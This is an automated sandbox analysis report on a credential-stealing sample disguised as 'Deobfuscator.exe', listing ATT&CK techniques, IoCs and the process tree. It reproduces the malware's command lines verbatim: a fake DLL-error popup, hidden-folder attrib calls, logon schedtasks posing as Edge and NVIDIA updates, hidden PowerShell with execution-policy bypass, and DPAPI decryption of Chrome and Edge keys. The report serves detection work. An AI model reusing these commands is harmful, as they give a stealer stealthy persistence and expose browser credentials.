aa5ad39b3c3e9de1a09ce241058a6f30291ce5a1de4457c446d2dfc32f4e2337

Analysis

user interaction
yes
max time kernel
104s
max time network
47s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/07/2026, 02:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Deobfuscator.exe
Size 45.3MB
Sample260710-c2klfadt4s
SHA256 aa5ad39b3c3e9de1a09ce241058a6f30291ce5a1de4457c446d2dfc32f4e2337
MD5 92f4fd517df8ea57f3cfb8faa5c3049d
SHA1 225eda2c8178cfaeaed30f4f5d8dbcace68d6416
SHA512 18dd744af55d209432ff6b19383ac432b7e747f3181d678aa085b97f487d842e3548dc2a7dc7000711e870e46348a86d197dc31aff3b86ee2e84292a6341f51b
SSDEEP 786432:C3on1HvSzxAMNdFZArYsxPvmPvCNl7OZ7tevp:CYn1HvSpNdXmta0Ztvp
TLSH
T149A7CF03B2A501E5E4B7D1388AA75203D772B8674731CACF325D02161FBBAE09A7F765
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2368	powershell.exe
4244	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
5084	Deobfuscator.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
2	api.gofile.io
4	api.gofile.io

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

An obfuscated cmd.exe command-line is typically used to evade detection. 4 IoCs

pid	Process
5572	cmd.exe
5348	cmd.exe
2816	cmd.exe
2164	cmd.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
2608	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2860	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
1308	powershell.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	Deobfuscator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Deobfuscator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Deobfuscator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	Deobfuscator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Deobfuscator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	Deobfuscator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	Deobfuscator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	Deobfuscator.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	Deobfuscator.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Deobfuscator.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Deobfuscator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	Deobfuscator.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	Deobfuscator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	Deobfuscator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	Deobfuscator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	Deobfuscator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	Deobfuscator.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	Deobfuscator.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	Deobfuscator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	Deobfuscator.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	Deobfuscator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	Deobfuscator.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	Deobfuscator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	Deobfuscator.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4840	schtasks.exe
2908	schtasks.exe
1900	schtasks.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
5084	Deobfuscator.exe
5084	Deobfuscator.exe
4244	powershell.exe
4244	powershell.exe
3996	powershell.exe
3996	powershell.exe
4800	powershell.exe
4800	powershell.exe
1308	powershell.exe
1308	powershell.exe
2368	powershell.exe
2368	powershell.exe
2100	powershell.exe
2100	powershell.exe
1352	powershell.exe
1352	powershell.exe
5280	powershell.exe
5280	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeIncreaseQuotaPrivilege	4244	powershell.exe
Token: SeSecurityPrivilege	4244	powershell.exe
Token: SeTakeOwnershipPrivilege	4244	powershell.exe
Token: SeLoadDriverPrivilege	4244	powershell.exe
Token: SeSystemProfilePrivilege	4244	powershell.exe
Token: SeSystemtimePrivilege	4244	powershell.exe
Token: SeProfSingleProcessPrivilege	4244	powershell.exe
Token: SeIncBasePriorityPrivilege	4244	powershell.exe
Token: SeCreatePagefilePrivilege	4244	powershell.exe
Token: SeBackupPrivilege	4244	powershell.exe
Token: SeRestorePrivilege	4244	powershell.exe
Token: SeShutdownPrivilege	4244	powershell.exe
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeSystemEnvironmentPrivilege	4244	powershell.exe
Token: SeRemoteShutdownPrivilege	4244	powershell.exe
Token: SeUndockPrivilege	4244	powershell.exe
Token: SeManageVolumePrivilege	4244	powershell.exe
Token: 33	4244	powershell.exe
Token: 34	4244	powershell.exe
Token: 35	4244	powershell.exe
Token: 36	4244	powershell.exe
Token: SeDebugPrivilege	3996	powershell.exe
Token: SeDebugPrivilege	4800	powershell.exe
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeIncreaseQuotaPrivilege	1308	powershell.exe
Token: SeSecurityPrivilege	1308	powershell.exe
Token: SeTakeOwnershipPrivilege	1308	powershell.exe
Token: SeLoadDriverPrivilege	1308	powershell.exe
Token: SeSystemProfilePrivilege	1308	powershell.exe
Token: SeSystemtimePrivilege	1308	powershell.exe
Token: SeProfSingleProcessPrivilege	1308	powershell.exe
Token: SeIncBasePriorityPrivilege	1308	powershell.exe
Token: SeCreatePagefilePrivilege	1308	powershell.exe
Token: SeBackupPrivilege	1308	powershell.exe
Token: SeRestorePrivilege	1308	powershell.exe
Token: SeShutdownPrivilege	1308	powershell.exe
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeSystemEnvironmentPrivilege	1308	powershell.exe
Token: SeRemoteShutdownPrivilege	1308	powershell.exe
Token: SeUndockPrivilege	1308	powershell.exe
Token: SeManageVolumePrivilege	1308	powershell.exe
Token: 33	1308	powershell.exe
Token: 34	1308	powershell.exe
Token: 35	1308	powershell.exe
Token: 36	1308	powershell.exe
Token: SeDebugPrivilege	2368	powershell.exe
Token: SeDebugPrivilege	2608	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2368	powershell.exe
Token: SeSecurityPrivilege	2368	powershell.exe
Token: SeTakeOwnershipPrivilege	2368	powershell.exe
Token: SeLoadDriverPrivilege	2368	powershell.exe
Token: SeSystemProfilePrivilege	2368	powershell.exe
Token: SeSystemtimePrivilege	2368	powershell.exe
Token: SeProfSingleProcessPrivilege	2368	powershell.exe
Token: SeIncBasePriorityPrivilege	2368	powershell.exe
Token: SeCreatePagefilePrivilege	2368	powershell.exe
Token: SeBackupPrivilege	2368	powershell.exe
Token: SeRestorePrivilege	2368	powershell.exe
Token: SeShutdownPrivilege	2368	powershell.exe
Token: SeDebugPrivilege	2368	powershell.exe
Token: SeSystemEnvironmentPrivilege	2368	powershell.exe
Token: SeRemoteShutdownPrivilege	2368	powershell.exe
Token: SeUndockPrivilege	2368	powershell.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 5084 wrote to memory of 2476	5084	Deobfuscator.exe	86
PID 2476 wrote to memory of 3752	2476	cmd.exe	88
PID 3752 wrote to memory of 2364	3752	net.exe	89
PID 5084 wrote to memory of 3464	5084	Deobfuscator.exe	90
PID 3464 wrote to memory of 4948	3464	cmd.exe	92
PID 4948 wrote to memory of 3880	4948	cmd.exe	93
PID 5084 wrote to memory of 4544	5084	Deobfuscator.exe	94
PID 4544 wrote to memory of 4244	4544	cmd.exe	96
PID 5084 wrote to memory of 2860	5084	Deobfuscator.exe	98
PID 2860 wrote to memory of 2712	2860	cmd.exe	100
PID 5084 wrote to memory of 2004	5084	Deobfuscator.exe	101
PID 2004 wrote to memory of 1900	2004	cmd.exe	103
PID 5084 wrote to memory of 8	5084	Deobfuscator.exe	104
PID 8 wrote to memory of 4840	8	cmd.exe	106
PID 5084 wrote to memory of 5572	5084	Deobfuscator.exe	107
PID 5572 wrote to memory of 3996	5572	cmd.exe	109
PID 5084 wrote to memory of 5348	5084	Deobfuscator.exe	112
PID 5348 wrote to memory of 4800	5348	cmd.exe	114
PID 5084 wrote to memory of 1120	5084	Deobfuscator.exe	115
PID 1120 wrote to memory of 1308	1120	cmd.exe	117
PID 5084 wrote to memory of 4140	5084	Deobfuscator.exe	118
PID 5084 wrote to memory of 4120	5084	Deobfuscator.exe	119
PID 4140 wrote to memory of 2368	4140	cmd.exe	122
PID 4120 wrote to memory of 2608	4120	cmd.exe	123
PID 2368 wrote to memory of 1384	2368	powershell.exe	124
PID 2368 wrote to memory of 2908	2368	powershell.exe	125
PID 5084 wrote to memory of 2816	5084	Deobfuscator.exe	126
PID 2816 wrote to memory of 2100	2816	cmd.exe	128
PID 5084 wrote to memory of 2164	5084	Deobfuscator.exe	129
PID 2164 wrote to memory of 1352	2164	cmd.exe	131
PID 5084 wrote to memory of 4816	5084	Deobfuscator.exe	132
PID 4816 wrote to memory of 5280	4816	cmd.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2712	attrib.exe
1384	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Deobfuscator.exe
"C:\Users\Admin\AppData\Local\Temp\Deobfuscator.exe"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3752
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c start "" mshta vbscript:Execute("MsgBox ""The code execution cannot proceed because msvcp140.dll was not found. Reinstalling the program may fix this problem."", 16, ""System Error"":close")"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Windows\system32\cmd.exe
    cmd /c start "" mshta vbscript:Execute("MsgBox ""The code execution cannot proceed because msvcp140.dll was not found. Reinstalling the program may fix this problem."", 16, ""System Error"":close")
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4948
  - - C:\Windows\system32\mshta.exe
      mshta vbscript:Execute("MsgBox ""The code execution cannot proceed because msvcp140.dll was not found. Reinstalling the program may fix this problem."", 16, ""System Error"":close")
      4⤵
      PID:3880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(WindowsTelemetrySync|NetFrameworkUpdate|SecurityHealthScan|OneDriveHealthCheck|EdgeBrowserUpdate)' -or $_.Description -match 'MaintenanceTask' -or ($_.Actions.Execute + ' ' + $_.Actions.Arguments) -match 'Microsoft\\Windows\\[a-zA-Z0-9]{8}\\' } | Unregister-ScheduledTask -Confirm:$false""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(WindowsTelemetrySync|NetFrameworkUpdate|SecurityHealthScan|OneDriveHealthCheck|EdgeBrowserUpdate)' -or $_.Description -match 'MaintenanceTask' -or ($_.Actions.Execute + ' ' + $_.Actions.Arguments) -match 'Microsoft\\Windows\\[a-zA-Z0-9]{8}\\' } | Unregister-ScheduledTask -Confirm:$false"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\VKcivYhG""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\VKcivYhG"
    3⤵
    - Views/modifies file attributes
    PID:2712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "EdgeBrowserUpdate_g4hfha" /xml "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\VKcivYhG\DDEGuLze.xml" /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2004
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "EdgeBrowserUpdate_g4hfha" /xml "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\VKcivYhG\DDEGuLze.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "EdgeBrowserUpdate_g4hfha" /tr "wscript.exe //nologo 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\VKcivYhG\gLFEuMnw.vbs'" /sc onlogon /rl highest /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:8
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "EdgeBrowserUpdate_g4hfha" /tr "wscript.exe //nologo 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\VKcivYhG\gLFEuMnw.vbs'" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,100,186,185,84,73,29,6,71,151,106,48,215,28,127,170,111,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,255,73,186,63,12,90,110,55,185,230,235,85,64,76,217,247,32,12,231,71,231,122,186,40,28,248,29,113,89,77,101,179,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,244,189,138,104,110,72,20,222,48,252,160,238,94,196,30,144,96,100,84,197,32,94,232,139,93,250,83,173,152,197,195,127,48,0,0,0,76,65,47,216,84,240,183,190,199,151,60,34,193,186,23,81,45,21,105,143,139,79,163,214,67,195,156,142,133,67,119,75,90,114,162,136,157,242,148,24,220,238,208,96,8,201,209,170,64,0,0,0,60,253,211,32,201,104,167,84,55,41,150,125,17,227,199,4,56,51,56,181,213,188,25,243,132,23,167,195,73,26,205,222,31,206,194,57,254,36,250,168,25,21,193,195,169,130,203,13,222,9,99,91,223,215,212,164,100,129,199,93,188,104,236,157), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:5572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,100,186,185,84,73,29,6,71,151,106,48,215,28,127,170,111,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,255,73,186,63,12,90,110,55,185,230,235,85,64,76,217,247,32,12,231,71,231,122,186,40,28,248,29,113,89,77,101,179,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,244,189,138,104,110,72,20,222,48,252,160,238,94,196,30,144,96,100,84,197,32,94,232,139,93,250,83,173,152,197,195,127,48,0,0,0,76,65,47,216,84,240,183,190,199,151,60,34,193,186,23,81,45,21,105,143,139,79,163,214,67,195,156,142,133,67,119,75,90,114,162,136,157,242,148,24,220,238,208,96,8,201,209,170,64,0,0,0,60,253,211,32,201,104,167,84,55,41,150,125,17,227,199,4,56,51,56,181,213,188,25,243,132,23,167,195,73,26,205,222,31,206,194,57,254,36,250,168,25,21,193,195,169,130,203,13,222,9,99,91,223,215,212,164,100,129,199,93,188,104,236,157), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,100,186,185,84,73,29,6,71,151,106,48,215,28,127,170,111,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,66,108,107,50,252,194,141,188,144,140,214,253,194,194,86,113,69,211,143,141,71,86,99,81,81,89,36,34,223,131,111,25,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,156,54,24,77,113,52,163,48,201,116,100,50,136,57,30,217,68,254,242,251,177,176,14,87,57,184,237,134,137,152,50,250,48,0,0,0,76,83,81,81,114,59,135,66,3,125,198,229,99,150,222,216,174,30,167,254,218,5,67,129,10,217,142,150,116,2,48,247,192,129,49,183,201,214,235,254,164,141,33,159,84,255,2,73,64,0,0,0,47,117,174,182,37,17,164,202,96,177,41,199,49,129,99,183,44,228,128,192,5,106,61,146,75,51,39,213,139,172,106,72,3,43,53,97,173,128,0,243,19,0,203,213,33,32,203,121,85,85,231,223,140,186,24,116,174,75,92,214,177,91,88,111), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:5348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,100,186,185,84,73,29,6,71,151,106,48,215,28,127,170,111,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,66,108,107,50,252,194,141,188,144,140,214,253,194,194,86,113,69,211,143,141,71,86,99,81,81,89,36,34,223,131,111,25,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,156,54,24,77,113,52,163,48,201,116,100,50,136,57,30,217,68,254,242,251,177,176,14,87,57,184,237,134,137,152,50,250,48,0,0,0,76,83,81,81,114,59,135,66,3,125,198,229,99,150,222,216,174,30,167,254,218,5,67,129,10,217,142,150,116,2,48,247,192,129,49,183,201,214,235,254,164,141,33,159,84,255,2,73,64,0,0,0,47,117,174,182,37,17,164,202,96,177,41,199,49,129,99,183,44,228,128,192,5,106,61,146,75,51,39,213,139,172,106,72,3,43,53,97,173,128,0,243,19,0,203,213,33,32,203,121,85,85,231,223,140,186,24,116,174,75,92,214,177,91,88,111), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskName -like 'NVIDIA_SelfUpdate_*'} | ForEach-Object { Unregister-ScheduledTask -TaskName $_.TaskName -Confirm:$false -ErrorAction SilentlyContinue }""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskName -like 'NVIDIA_SelfUpdate_*'} | ForEach-Object { Unregister-ScheduledTask -TaskName $_.TaskName -Confirm:$false -ErrorAction SilentlyContinue }"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\sys_core_XN6XRA0f.ps1""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4140
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\sys_core_XN6XRA0f.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2368
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\sys_core_XN6XRA0f.vbs
      4⤵
      Views/modifies file attributes
      PID:1384
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn NVIDIA_SelfUpdate_{42761730} /xml C:\Users\Admin\AppData\Local\Temp\tmp699D.tmp.xml /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,100,186,185,84,73,29,6,71,151,106,48,215,28,127,170,111,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,255,73,186,63,12,90,110,55,185,230,235,85,64,76,217,247,32,12,231,71,231,122,186,40,28,248,29,113,89,77,101,179,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,244,189,138,104,110,72,20,222,48,252,160,238,94,196,30,144,96,100,84,197,32,94,232,139,93,250,83,173,152,197,195,127,48,0,0,0,76,65,47,216,84,240,183,190,199,151,60,34,193,186,23,81,45,21,105,143,139,79,163,214,67,195,156,142,133,67,119,75,90,114,162,136,157,242,148,24,220,238,208,96,8,201,209,170,64,0,0,0,60,253,211,32,201,104,167,84,55,41,150,125,17,227,199,4,56,51,56,181,213,188,25,243,132,23,167,195,73,26,205,222,31,206,194,57,254,36,250,168,25,21,193,195,169,130,203,13,222,9,99,91,223,215,212,164,100,129,199,93,188,104,236,157), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,100,186,185,84,73,29,6,71,151,106,48,215,28,127,170,111,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,255,73,186,63,12,90,110,55,185,230,235,85,64,76,217,247,32,12,231,71,231,122,186,40,28,248,29,113,89,77,101,179,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,244,189,138,104,110,72,20,222,48,252,160,238,94,196,30,144,96,100,84,197,32,94,232,139,93,250,83,173,152,197,195,127,48,0,0,0,76,65,47,216,84,240,183,190,199,151,60,34,193,186,23,81,45,21,105,143,139,79,163,214,67,195,156,142,133,67,119,75,90,114,162,136,157,242,148,24,220,238,208,96,8,201,209,170,64,0,0,0,60,253,211,32,201,104,167,84,55,41,150,125,17,227,199,4,56,51,56,181,213,188,25,243,132,23,167,195,73,26,205,222,31,206,194,57,254,36,250,168,25,21,193,195,169,130,203,13,222,9,99,91,223,215,212,164,100,129,199,93,188,104,236,157), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,100,186,185,84,73,29,6,71,151,106,48,215,28,127,170,111,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,66,108,107,50,252,194,141,188,144,140,214,253,194,194,86,113,69,211,143,141,71,86,99,81,81,89,36,34,223,131,111,25,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,156,54,24,77,113,52,163,48,201,116,100,50,136,57,30,217,68,254,242,251,177,176,14,87,57,184,237,134,137,152,50,250,48,0,0,0,76,83,81,81,114,59,135,66,3,125,198,229,99,150,222,216,174,30,167,254,218,5,67,129,10,217,142,150,116,2,48,247,192,129,49,183,201,214,235,254,164,141,33,159,84,255,2,73,64,0,0,0,47,117,174,182,37,17,164,202,96,177,41,199,49,129,99,183,44,228,128,192,5,106,61,146,75,51,39,213,139,172,106,72,3,43,53,97,173,128,0,243,19,0,203,213,33,32,203,121,85,85,231,223,140,186,24,116,174,75,92,214,177,91,88,111), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
